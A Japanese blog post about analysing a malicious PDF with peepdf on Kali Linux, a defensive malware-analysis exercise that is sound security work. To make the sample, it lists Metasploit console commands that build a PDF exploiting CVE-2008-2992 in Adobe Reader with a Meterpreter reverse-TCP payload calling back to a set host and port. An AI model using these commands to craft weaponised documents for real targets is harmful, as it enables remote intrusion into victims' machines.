セキュリティ
PR

peepdf を使って攻撃コードの入ったPDFを解析してみた

kawa.xxx
記事内に商品プロモーションを含む場合があります

環境

  • kali linux 2
  • peepdf 0.3

peepdf とは?

peepdf とは python で作られている PDF 解析ツールです。解析するだけでなく、もし、脆弱性を突くようなコードが埋め込まれていた場合はその脆弱性情報も合わせて表示してくれます。

Cuckoo や Thung などでも使用されているみたいですね。

peepdf のセットアップ

kali linux なら、peepdf は OS をインストールした状態で使えるようになっているので、 kali linux を使いましょう。

解析対象の PDF を作成する

それではまず、peepdf で解析するファイルを作成しましょう。metasploit を用いて、脆弱性を突くコードの入ったPDFファイルを作成します。 metasploit も kali linux ならば OS をインストールした状態で使えるようになっています。

今回使用する脆弱性は CVE-2008-2992 という Adobe Reader の Util.PRINTF() に存在するバッファオーバーフローの脆弱性を利用するJSコードです。古い脆弱性ですが、外部に送信しないように注意して扱いましょう。

metasploit のコンソールに以下のように1行ずつ打ち込んでいきます。

msf> use exploit/windows/fileformat/adobe_utilprintf
msf> set FILENAME malicious.pdf
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.11
msf> set LPORT 4455
msf> exploit

export を実行すると/root/.msf4/local/malicious.pdfというパスにファイルが生成されるので、扱いやすいように Desktop に移動します。

作成した PDF を解析してみる

$ peepdf ~/Desktop/malicious.pdf

を実行すると解析結果をコンソールに出力してくれます。

f:id:kawa_xxx:20160919165223p:plain

バッチリ CVE-2008-2992 の攻撃コードがあることが検出されていますね。もう少しこのコードがどのようなものか深ぼって見ましょう。

$peepdf -i ~/Desktop/malicious.pdf

今度は -i インタラクティブオプションをつけて実行します。先ずは、該当部分の JS コードをプレーンな状態で見てみましょう。

PPDF> js_code 6

を実行するとバーっとコードを出力してくれます。画面上部が切れていますが、以下の感じですね。

f:id:kawa_xxx:20160919165226p:plain

最後の行に今回ターゲットにした関数 util.printf() が使われているのがわかります。更に JavaScript の解析も出来るようなので以下のコマンドでやってみました。

PPDF> js_analyse object 5

pyV8 が入っていないので、 解析時にエラー…

このあたりを参考にして pyV8 と V8 を入れてみようと試みましたが、うまく行かず… Github の方のコードを取ってきてもだめ。もちろん pip install pyV8 でもだめ。

どうしたらいいんだ… 続きはまた今度。

参考文献

ABOUT ME
kawa.xxx
都内のIT系企業に勤める会社員。自分の備忘録的なアウトプット用の場所で、ボルダリングやガシェッド、セキュリティ、カメラの話題が中心です。
記事URLをコピーしました